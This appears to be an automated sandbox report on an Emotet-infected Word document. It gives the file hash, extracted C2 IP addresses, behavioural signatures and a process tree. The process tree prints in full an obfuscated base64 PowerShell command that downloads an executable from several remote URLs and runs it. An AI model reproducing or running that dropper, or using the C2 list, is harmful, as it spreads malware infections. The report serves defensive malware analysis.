Analysis
- max time kernel
139s - max time network
152s - platform
windows10_x64 - resource
win10v200722 - submitted
15/10/2020, 11:48
General
- Target emotet_e1_513ba997945892e2afeb7ded912bd8bd7ad91ca99a4a785462f53700a9c65894_2020-10-15__114635696826._doc.doc
- Size 136KB
- Sample201015-9kgl4gnvh6
- SHA256 513ba997945892e2afeb7ded912bd8bd7ad91ca99a4a785462f53700a9c65894
Score
10/10
Malware Config
Extracted
Family
-
emotet
Botnet
-
Epoch1
C2
-
188.157.101.114:80
-
192.175.111.214:8080
-
95.85.33.23:8080
-
192.232.229.54:7080
-
181.30.61.163:443
-
186.70.127.199:8090
-
200.127.14.97:80
-
70.169.17.134:80
-
24.232.228.233:80
-
172.104.169.32:8080
-
50.28.51.143:8080
-
177.73.0.98:443
-
149.202.72.142:7080
-
37.187.161.206:8080
-
202.29.239.162:443
-
213.197.182.158:8080
-
202.134.4.210:7080
-
190.24.243.186:80
-
201.213.177.139:80
-
105.209.235.113:8080
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_513ba997945892e2afeb7ded912bd8bd7ad91ca99a4a785462f53700a9c65894_2020-10-15__114635696826._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGADUAaQBiAHcAMABjAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADAAZwBlACcAKQArACcAYQBnACcAKQA7ACQAQgA2ADMAOQB1AHYAawA9ACQASgBmAHoAOAB6AGwAagAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQASABjAG0AMgBzAHUAcgA7ACQAVgBiADEAMgBtAGkAagA9ACgAJwBWADUAJwArACgAJwA3ACcAKwAnADUAMgA1ACcAKQArACcAeAAnACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBjAHIAZQBhAHQARQBkAEkAYABSAEUAYwBgAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHQAbQBwACAAKwAgACgAKAAnAG8AJwArACgAJwBkAGgASQAnACsAJwA4ACcAKQArACcAeQB1ACcAKwAnAHkAJwArACgAJwAxAF8AJwArACcAbwBkAGgAJwArACcASwAnACkAKwAoACcAXwAxACcAKwAnAHIAeQB1AGIAbwAnACkAKwAnAGQAJwArACcAaAAnACkAIAAgAC0AUgBFAHAATABhAEMAZQAgACgAJwBvAGQAJwArACcAaAAnACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABWAGMAZQB0ADcAZQBiAD0AKAAoACcATwBuACcAKwAnADIAdAB3ACcAKQArACcAbQBtACcAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAHUAcgBpAGAAVABZAFAAUgBPAHQATwBjAG8AbAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdACgAJwBTACcAKwAoACcAcwAnACsAJwBsADMALAAnACkAKwAnAFQAbAAnACsAKAAnAHMALAAnACsAJwBUAGwAJwApACsAKAAnAHMAMQAxACcAKwAnACwAVABsACcAKQArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQASgBzAG0AYwBsAHAAawA9ACgAKAAnAFcAJwArACcAbABkACcAKQArACgAJwA2ACcAKwAnAHEAcQAnACkAKwAnAGUAJwApADsAJABPAGsANQAyADEAaABiACAAPQAgACgAKAAnAEwAOQA4AHAAJwArACcAcAAwACcAKQArACcAdwAnACkAOwAkAEEANQBoAF8AcwAyADMAPQAoACcATQAnACsAJwAyAHEAJwArACgAJwBqAHIAJwArACcAdQBkACcAKQApADsAJABVAGEAeAB1AGIAaABxAD0AKAAnAEcAagAnACsAKAAnAGQAJwArACcAegBwADkAegAnACkAKQA7ACQARgB3AGEAYQA0AG4ANwA9ACQAZQBuAHYAOgB0AG0AcAArACgAKAAoACcAdAAnACsAJwBuAEYAJwApACsAKAAnAEkAJwArACcAOAB5AHUAeQAnACsAJwAxAF8AdAAnACkAKwAoACcAbgAnACsAJwBGAEsAJwApACsAJwBfADEAJwArACgAJwByAHkAJwArACcAdQBiACcAKQArACgAJwB0ACcAKwAnAG4ARgAnACkAKQAgAC0AQwByAEUAcABMAEEAQwBFACgAJwB0AG4AJwArACcARgAnACkALABbAGMAaABBAFIAXQA5ADIAKQArACQATwBrADUAMgAxAGgAYgArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAeQBjAHIAaQBsAHgAPQAoACcATwAnACsAKAAnAHYAJwArACcAbgAxAF8AJwArACcANwBiACcAKQApADsAJABRAG4AMgA5AGQAegB2AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABJAGUAbgBUADsAJABDAGQAMgA0AGwAcAB6AD0AKAAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAnAGYAJwArACcAaQAnACsAKAAnAG4AYQBuACcAKwAnAGMAaQAnACsAJwBhAG0AJwApACsAKAAnAGUAbgB0AG8AaQBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACcAbAAnACsAJwBpAGcAZQBuAHQAZQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAnACsAJwAtAGMAJwApACsAJwBvAG4AJwArACgAJwB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnAEYAagAnACsAJwAvACcAKQArACgAJwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AJwApACsAJwB3AHcAJwArACcAdwAnACsAKAAnAC4AcgAnACsAJwBlACcAKQArACgAJwBtAG8AdgBlAHAAJwArACcAYwB0ACcAKwAnAHIAJwApACsAKAAnAG8AagAnACsAJwBhACcAKQArACgAJwBuAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvACcAKwAnADYAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYQBhACcAKQArACgAJwBoAG4AJwArACcAYQAnACkAKwAoACcAdAAnACsAJwB1AHIAYQBsAHMALgAnACsAJwBuACcAKQArACgAJwBlAHQALwB3AHAALQAnACsAJwBpAG4AJwArACcAYwBsACcAKwAnAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AVABYAC8AJwArACcAKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAHMAZgBmADMAZAAuACcAKwAnAGMAbwBtAC8AMwBkAC8AeABrAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAGUAbgAnACsAJwBnACcAKwAnAGkAbgBlAGUAcgBpAG4AJwApACsAKAAnAGcALQAnACsAJwAyAHMALgBjAG8AbQAvAFMAUwAnACsAJwBfAFAAJwArACcAYQAnACsAJwB5ACcAKQArACgAJwBwACcAKwAnAGEAbAAnACkAKwAoACcALwAnACsAJwBYAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACgAJwA6AC8ALwBsACcAKwAnAHMAbQAnACsAJwBhACcAKQArACgAJwBuAGcAYQAuAGMAJwArACcAbwBtAC8AJwArACcAbQAnACsAJwBpACcAKwAnAGcAcgBhACcAKwAnAHQAaQBvAG4ALwBGAGEAVQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8ALwBiACcAKwAnAGUAdABhACcAKwAnAC4AegBvAG4AJwArACcAZQBiAGUAJwArACcAcgByAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBiAHkAcwB5AHMAdwAnACsAJwBlACcAKwAnAHgAZQAnACkAKwAoACcAYwBmAC8AJwArACcAeAAnACkAKwAnADMAJwArACcALwAnACkALgAiAFMAUABMAGAASQB0ACIAKAAkAFYAdAB4AHAAbABjAHgAIAArACAAJABCADYAMwA5AHUAdgBrACAAKwAgACQASwBjADIAagB5AGMAYwApADsAJABCAGIAbgA0AHMAdwBmAD0AKAAnAEsAJwArACgAJwBzAF8AJwArACcAcQA1ADEAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgAxADAAYQBhADgAOQAgAGkAbgAgACQAQwBkADIANABsAHAAegApAHsAdAByAHkAewAkAFEAbgAyADkAZAB6AHYALgAiAGQATwBgAFcATgBMAGAATwBhAEQARgBJAGwAZQAiACgAJABCADEAMABhAGEAOAA5ACwAIAAkAEYAdwBhAGEANABuADcAKQA7ACQARgBoADYAOABrAGsAZQA9ACgAKAAnAEEAJwArACcAagBkACcAKQArACcAZwAnACsAKAAnAHYAJwArACcAbwByACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAdwBhAGEANABuADcAKQAuACIAbABgAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAA3ADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAQQBgAFIAdAAiACgAJABGAHcAYQBhADQAbgA3ACkAOwAkAFYAeQA5AHMAaQBuAGgAPQAoACcARQAnACsAKAAnAGIANAAnACsAJwBjAGcAJwApACsAJwBfAHkAJwApADsAYgByAGUAYQBrADsAJABKAGEAcQBpAGcAawAyAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGoAdABfADcAJwApACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgAwAGEAYgBoADcAXwA9ACgAKAAnAFEAdAAnACsAJwBkACcAKQArACcAagAnACsAKAAnAGwAJwArACcAMQA1ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WiFiDisplay\rasautou.exe"C:\Windows\SysWOW64\WiFiDisplay\rasautou.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2172-20-0x0000000002180000-0x000000000219E000-memory.dmp
memory/2172-19-0x0000000000610000-0x000000000062F000-memory.dmp
memory/2584-16-0x0000000002280000-0x000000000229E000-memory.dmp
memory/2584-15-0x0000000002260000-0x000000000227F000-memory.dmp
memory/3772-11-0x0000023A70D30000-0x0000023A70D31000-memory.dmp
memory/3772-10-0x0000023A70A00000-0x0000023A70A01000-memory.dmp
memory/3772-9-0x00007FF9BB2F0000-0x00007FF9BBCDC000-memory.dmp
memory/3832-0-0x00007FF9C2310000-0x00007FF9C29D6000-memory.dmp
memory/3832-5-0x0000021CBC1F7000-0x0000021CBC20A000-memory.dmp
memory/3832-4-0x0000021CBC03B000-0x0000021CBC069000-memory.dmp
memory/3832-3-0x0000021CBC03B000-0x0000021CBC069000-memory.dmp
memory/3832-2-0x0000021CBC03B000-0x0000021CBC069000-memory.dmp
memory/3832-1-0x0000021CBC03B000-0x0000021CBC069000-memory.dmp